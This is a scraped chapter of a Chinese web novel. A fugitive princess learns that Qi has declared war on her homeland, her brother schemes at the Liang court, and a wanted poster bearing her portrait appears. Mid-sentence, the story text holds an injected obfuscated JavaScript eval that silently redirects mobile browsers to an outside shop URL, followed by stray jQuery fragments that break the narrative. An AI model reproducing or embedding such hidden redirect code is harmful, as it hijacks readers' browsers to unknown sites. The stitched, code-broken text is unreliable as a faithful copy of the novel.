文趣网 > 都市小说 > 辞京千里 > 33. 第 33 章
    离开面馆之前,二人问了老板娘,这附近可有什么客栈。

    她犹犹豫豫指了一家西北方向的,几乎就和城墙挨着,指完路补充:“就是那店家的吃食实在入不了口,您要是吃饭,还是来我家。”

    谢过她,二人往西北走。不出一刻钟,就看见竖着幌子的客栈。

    从外观看,一栋足足三层的木质小楼,木板开了裂,每层都往相反方向扭着,最终居然也能在呼啸的北风中屹立。

    “会不会睡一半,这房子就榻了?”谢游担忧道。

    “莫要杞人忧天。”赵瑞殊就想就近住,一点儿额外的路程都不愿意走。

    谢游算是看出来了,她除了被陆观泽捉到,几乎其他的一切都不害怕。

    走入客栈,一楼用作饭铺。

    左侧掌柜的躲在柜台后将算盘打得噼里啪啦响;中间空着一条石板过道直通楼梯;右侧歪七八钮摆着几张桌椅,聚满了码头的伙计吃茶打牌。

    “要两间房。”谢游跟掌柜的说。

    掌柜抬头看了一眼,算盘声未停,扔出两块木牌与两把钥匙:“客官先等着,喝喝伙计端来的茶水,床铺马上收拾好。”

    二人只好领了东西去右边,找了两个空座坐下。

    伙计很快走来,拿了两盏有裂缝的白瓷杯,倒上茶。滚烫的茶水满上,茶面浮起一层若隐若现的油脂。

    赵瑞殊不敢碰这样的茶,侧耳听周围的客人聊天。

    他们打牌已经打得发了狠、忘了情,无论出个什么,都要大声喊出来,好像能为自己多增添一份赢面似的。

    剩下的不出牌的,叽里呱啦地从家长里短扯到家国大事。那神气,简直无所不知无所不晓了。

    “你放不放你儿子去参军?”

    “不放,他和我儿媳刚结亲没几个月,孙子还没见着影呢!”

    “去可以给家里挣好多钱呢,若是祖坟冒青烟,说不准还能捞个爵位。”

    刚大喊着出牌的一个嘲笑:“太阳还挂在天上你就开始做梦,你见着几个庄稼人、几个做工的人因为这个封爵的?你没有钱买马买物什,去参军就是派前边挨戳的小虾米!”

    “听说齐国的军队都是骑兵派前面冲……”说这话的被瞪了。

    “你们这说的,是要参哪边的军?”

    “你脑子浑了?现在我们在齐国内,自然只能参齐国的军。”

    “可是官老爷只派人贴了要打仗的布告,没贴征兵的布告啊。”

    “你这不废话吗,之前打仗哪次不要再征人,你家父兄都折在了战场上,安歇日子才过多久,你便忘了?”

    “那梁国是梁国,齐国是齐国,一个皇帝一个作派嘛……”

    赵瑞殊不再听他们闲扯,只与谢游震惊地对视。

    什么叫打仗的布告?

    “我去问问。”谢游仰头将茶咕噜咕噜喝完,起身要走。

    赵瑞殊赶紧拉住他的袖子:“若这样的大事别人都知道,就我们不知道,未免太可疑。若是之后有人查到这里,可不就把我们全部暴露了。反正明日要进城,那时自己去看布告便是了。”

    好不容易上岸歇息,能睡个安稳觉的喜悦被突然的消息打碎。

    客房非常简陋,只是将将够放一套桌椅、洗漱台、一只夜壶,一张竹架床。窗户有些变形,合不拢,北风呼啸,像是某种哀鸣。

    赵瑞殊一夜都没睡好,等鸟在屋顶叽叽喳喳才略微小憩一阵。

    二人吃了客栈难吃得要命的馕,飞快赶到城墙。

    挤入人群中心,城墙上贴着密密麻麻的布告,有的风吹日晒,已风化为扒在城墙上的纸渣,最醒目、最新的一则布告写着:

    齐帝责东梁私携公主而去,以东梁未能全质为由,发兵讨之,御驾亲征。

    赵瑞殊差些晕倒在城墙前。

    消息一旦发出,传得极快。

    在使节正式带来战讯前,东梁皇室已然听说齐国发兵的消息。

    赵呈卓蹙着眉头,听手下汇报。

    听完,他慢悠悠地刮沫,轻呷一口茶:“这么说,刘颐和孙娘子是暴露了,不好继续干了。”

    手下点头:“是,奇怪的是,齐皇并未处死二人。”

    “你奇怪这个?他外强中干,关键时刻优柔寡断、软弱无能不是什么新鲜事。我倒是奇怪这二人为何不听我话,节外生枝,为瑞殊安排了出逃的人马。”

    他将琉璃盏往桌上一搁,嗤笑,

    “可惜我这妹妹不领他们的情,自顾自不知是死了还是逃到其他地方了。可惜,她生性聪颖,又有那样一副面孔,该留在齐皇身边,叫他溺死在温柔乡里。”

    “无论齐皇自个怎么样,齐军可要来了。”手下提醒。

    “无妨,舆图已在手。齐国阵中多少人、组成如何,齐国的布防用何种方式已全部一目了然。纵然他军中人数占优,那又如何?”赵呈卓轻笑起来。

    “优势在我。”手下跟着干巴巴地笑。

    “卓儿!”一个苍老嘶哑的声音闯入殿内。

    众人跪了一片。

    老人并不理会,只亲手拉起赵呈卓,声音急切:“你可听说了?”

    “父皇莫慌,儿臣早已做好准备。”

    “可是朕并未吩咐人带走瑞殊,可是你做的?她人在哪儿呢,快给齐皇送回去。”

    一听见自己父亲这一股窝囊味,赵呈卓就厌恶万分,努力耐着性子,柔声道:“不是儿臣做的,儿臣如何知晓?父皇放心,儿臣已有对策,保证叫来犯的齐军弃甲倒戈。也不知瑞殊去哪了,兴许是殁了吧。”

    “不是你做的便好……如果找到瑞殊,记得把她送回齐皇身侧,能止戈便止戈。”

    “这齐国就是没事找事呢。父皇放心,无论如何,必不叫齐皇扰了您清净。”赵呈卓亲昵地握住父亲的手,“晁昭仪的喜事,儿臣听说了,要提前贺喜父皇了。”

    一说起这事,梁国皇帝就把所有烦恼抛到九霄云外:“还是卓儿最得朕心!对了,新建的兰园不错,朕准备叫晁昭仪去那儿养胎,明日朝会,你替我安排安排,特别别叫那些嫌人的老顽固又阻拦。”

    待送走梁国皇帝,手下轻声道:“看来殿下的父亲还未知道殿下与公主的谋划。”

    “他如今除了园林便是女人,哪有心思放这上面呢。”赵呈卓盯着一旁的屏风。

    一副侍女下棋图,似乎还是赵瑞殊画了送他的,好久以前的事了,久到他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722783|207983||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    已经忘记那时收到礼物的心情。

    一缕阳光撒到屏风上,每一道笔触都清晰可见。

    好的品鉴家能从画中体会到画家的性格与情绪。

    “这画家心思浮躁,下笔也过快,许多细节未处理好。”赵瑞殊点评道。

    “我看不出来。”谢游摇头。

    “你到底买不买?”摊主忽然冒出来,怒视二人,“不买就别说!”

    谢游梗着脖子要说话,被赵瑞殊拉走了。

    “我们确实没闲钱买,也没法带着画。”她轻轻蹙眉,“而且那副画模仿名家模仿得很拙劣。”

    逃亡以来,她就没有再碰过丹青。

    那些绮丽的色彩都远去了,只留给深夜的梦去绘制陆观泽那张令她生怖的脸。

    所以买完马,碰巧遇见这么个画摊,她不禁为之驻足。

    可惜没能看太久,就被摊主轰走了。

    这在之前是前所未闻的事,现在艰苦的生活已经叫他们的衣装彻底融入了当地平民的生活。

    往好处想,这算他们伪装得好。

    她牵着马,和谢游一起往客栈方向走,惆怅地想她留在宫殿里的画具会被如何处置。

    那当中还有一大半是陆观泽送给她的礼物,尤其是那只精美的匣子。

    万一等陆观泽反应过来,气得把她的颜料全碾进土里,把她的画都撕烂,又把那只匣子用剑砍成齑粉,怎么办?

    她为已经被自己抛弃的物件深深担忧。

    有太多事物,她想要,却受困于现实不得不放弃。

    路过城墙,人群比早上围得还多。

    “怎么回事?”她问空气,踮着脚,眯眼努力从人群缝隙中看。

    谢游也直勾勾地看城墙:“看不清,好像是又有人在贴布告。你想过去看看吗?”

    “我比较容易钻过去,你站在这牵着马。”赵瑞殊太想凑热闹了,她把缰绳交到谢游手中,向着人群出发。

    像一条小鱼,她灵活地在人群组成的浪潮中穿梭,挤挤挨挨,终于来到前排。

    “官府有令,若见着画上的主儿,即刻报官!”衙役打扮的人恰巧吆喝,“提供线索者,赏银十两;能将活人全须全尾扭送官府,赏银五十两;若敢窝藏隐瞒,一经查出,以赃论处。”

    赵瑞殊的心如鼓槌般狂敲她的胸腔,她拨开挡在身前的人。

    一副通缉令显在眼前,用的是不同于其他告示的名贵纸,色淡,有着斜纹。

    两幅画像。

    一副出自熟手,线条细密地勾勒出一副女子像。女子头梳灵蛇髻,身穿杂裾垂髫服,臂弯挂着披帛,身形纤纤,半扭着身子,似随时乘风飞去。

    另一幅最为奇怪,像是熟手临摹的孩童画。一幅画只画了脸,用夸张写意的笔触画人的五官:高高的眉头,平平的眉身,低低的眉尾;再往下是一双画的像玉兰树叶的眼睛,窄窄的鼻子,和花瓣一样的嘴唇,但把嘴角画得太圆了。

    一旁的题字倒是写得还算潇洒:寻人。

    两幅画合起来,竟然诡异地好认这画的是谁。

    赵瑞殊看得嘴角抽筋,眉心蹙成一个井字。

    她好像猜出留在宫中的画具被用做何处了。